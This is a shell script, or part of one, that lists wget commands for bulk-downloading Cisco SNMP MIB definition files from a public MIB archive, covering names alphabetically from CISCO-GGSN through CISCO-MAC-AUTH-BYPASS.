wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GGSN-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GGSN-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GGSN-GEO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GGSN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GGSN-QOS-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GGSN-QOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GGSN-SERVICE-AWARE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GPRS-ACC-PT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GPRS-ACC-PT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GPRS-CHARGING-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GPRS-CHARGING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GPRS-GTP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GPRS-GTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GPRS-ISGSN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GPRS-L2RLY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GSLB-DNS-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GSLB-DNS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GSLB-HEALTH-MON-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GSLB-HEALTH-MON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GSLB-SYSTEM-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GSLB-SYSTEM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GSLB-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GTP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GTP-DIRECTOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-GTPV2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-H225-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-H320-DIAL-CONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-H323-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-H324-DIAL-CONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-HARDWARE-IP-VERIFY-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-HARDWARE-IP-VERIFY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-HC-ALARM-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-HC-ALARM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-HC-RMON-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-HEALTH-MONITOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-HOST-RESOURCES-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-HSRP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-HSRP-EXT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-HSRP-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-HSRP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-HW-MODULE-CONTROL-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-HW-MODULE-CONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ICSUDSU-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IDSL-LINE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IE1000-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IEEE8021-CFM-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IEEE8021-CFM-EXT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IEEE8021-CFM-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IEEE8021-CFM-V2-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IEEE8021-PAE-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IEEE8023-LAG-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-ATM2-PVCTRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-BFD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-DHCP-SERVER-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-DHCP-SERVER-EXT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-DHCP-SERVER-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-DHCP-SERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-DOT11-QOS-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-DOT11-QOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-FRR-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-FRR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-IP-FORWARD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-IP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-IPMROUTE-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-IPMROUTE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-ISIS-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-ISIS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-ISNS-MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-MEGACO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-MPLS-ID-STD-03-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-MPLS-TE-EXT-STD-03-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-MPLS-TE-P2MP-STD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-MPLS-VPN-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-MSDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-NAT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-NAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-PIM-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-PIM-EXT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-PIM-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-PIM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-PPVPN-MPLS-VPN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-PW-ATM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-PW-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-PW-ENET-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-PW-ENET-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-PW-FR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-PW-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-PW-MPLS-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-PW-MPLS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-PW-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-PW-TDM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-SCTP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-SCTP-EXT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-SCTP-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-SCTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-VDSL-LINE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-VPLS-BGP-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-VPLS-GENERIC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-VPLS-LDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-VRRP-07-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IETF-VRRP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IF-CALL-SERVICE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IF-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IF-EXTENSION-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IF-EXTENSION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IF-LINK-CONFIG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IF-LOOPBACK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IF-MONITOR-NOTIF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IF-THRESHOLD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IGMP-FILTER-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IGMP-FILTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IGMP-SNOOPING-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IGMP-SNOOPING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IKE-CONF-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IKE-CONFIGURATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IKE-FLOW-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IKE-FLOW-EXT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IKE-FLOW-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IKE-FLOW-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IMA-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IMA-EXT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IMA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IMAGE-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IMAGE-CHECK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IMAGE-LICENSE-MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IMAGE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IMAGE-TC.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IMAGE-UPGRADE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-INT-SERV-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-INTERFACE-XCVR-MONITOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-INTERFACETOPN-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-INTERFACETOPN-EXT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-INTERFACETOPN-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-ADDRESS-POOL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-ADDRESS-POOL-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-CBR-METRICS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-ENCRYPTION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-FORWARD-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-IF-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-LOCAL-POOL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-NW-DISCOVERY-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-NW-DISCOVERY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-PROTOCOL-FILTER-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-PROTOCOL-FILTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-RAN-BACKHAUL-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-RAN-BACKHAUL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-STAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-TAP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-TAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-UPLINK-REDIRECT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IP-URPF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPMCAST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPMROUTE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPSEC-FLOW-MONITOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPSEC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPSEC-POLICY-MAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPSEC-PROV-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPSEC-PROVISIONING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPSEC-SIGNALING-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPSEC-SIGNALING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPSEC-TC.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPSLA-AUTOMEASURE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPSLA-ECHO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPSLA-ETHERNET-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPSLA-ETHERNET-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPSLA-JITTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPSLA-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPSLA-VIDEO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPSLA-VIDEO-PROFILE-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPSLA-VIDEO-PROFILE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPV6-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IPV6-MLD-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ISCSI-GW-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ISCSI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ISDN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ISDNU-IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ISNS-CLIENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ISNS-IP-NW-DISCOVERY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-ACL-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-ACL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-ACT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-ACT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-DSMR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-DSMR-SMPP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-DSMR-UCP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-GACT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-GACT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-GRT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-GRT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-GSCCP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-GSCCP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-GSP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-GSP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-GSP2-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-GSP2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-GTCAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-MLR-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-MLR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-MONITOR-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-MONITOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-MSU-RATES-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-MSU-RATES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-RT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-RT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-SCCP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-SCCP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-SP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-SP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-SP2-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-SP2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-XUA-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ITP-XUA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IVR-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-IVR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-JOB-MONITORING-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-L2-CONTROL-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-L2-CONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-L2-DEV-MONITORING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-L2-TUNNEL-CONFIG-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-L2-TUNNEL-CONFIG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-L2L3-INTERFACE-CONFIG-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-L2L3-INTERFACE-CONFIG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-L2NAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-L4L7MODULE-REDUNDANCY-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-L4L7MODULE-REDUNDANCY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-L4L7MODULE-RESOURCE-LIMIT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-L4L7MODULE-RESOURCE-LIMIT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LAG-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LAG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LATITUDE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LEC-DATA-VCC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LEC-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LECS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LICENSE-MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LICENSE-MGR-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LICENSE-MGR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LICENSE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LINK-ERROR-MONITOR-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LINK-ERROR-MONITOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LISP-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LIVEDATA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LLDP-EXT-MED-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LOCAL-AUTH-USER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LOCAL-DIRECTOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LPTS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LRE-CPE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-AAA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-ACL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-AP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-CCX-RM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-CDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-CLIENT-ROAMING-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-CLIENT-ROAMING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-DHCP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-DOT11-CCX-CLIENT-DIAG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-DOT11-CCX-CLIENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-DOT11-CLIENT-CALIB-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-DOT11-CLIENT-CALIB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-DOT11-CLIENT-CCX-REPORTS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-DOT11-CLIENT-CCX-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-DOT11-CLIENT-CCXV5-REPORTING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-DOT11-CLIENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-DOT11-CLIENT-TS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-DOT11-LDAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-DOT11-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-DOWNLOAD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-HA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-IDS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-INTERFACE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-IPV6-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-LINKTEST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-LOCAL-AUTH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-MDNS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-MESH-BATTERY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-MESH-LINKTEST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-MESH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-MESH-STATS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-MFP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-MFP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-MOBILITY-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-MOBILITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-NBAR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-NETFLOW-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-PMIP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-QOS-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-QOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-REAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-RF-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-RF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-ROGUE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-RRM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-SI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-SYS-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-SYS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-TSM-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-TSM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-WAPI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-WEBAUTH-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-WEBAUTH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-WLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-LWAPP-WLAN-SECURITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-MAC-AUTH-BYPASS-CAPABILITY.mib
